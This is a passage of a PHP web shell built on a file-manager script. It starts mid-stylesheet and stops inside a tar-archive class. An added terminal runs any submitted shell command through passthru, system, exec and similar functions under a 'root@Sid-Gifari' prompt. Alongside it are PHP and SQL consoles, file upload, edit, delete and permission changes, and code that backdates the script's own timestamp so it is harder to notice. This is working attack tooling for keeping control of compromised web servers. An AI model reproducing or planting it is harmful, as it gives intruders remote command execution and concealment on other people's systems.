kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
sd<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
sd<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        sd<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        sd<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
sd<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
sd<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
sd<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
sd<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
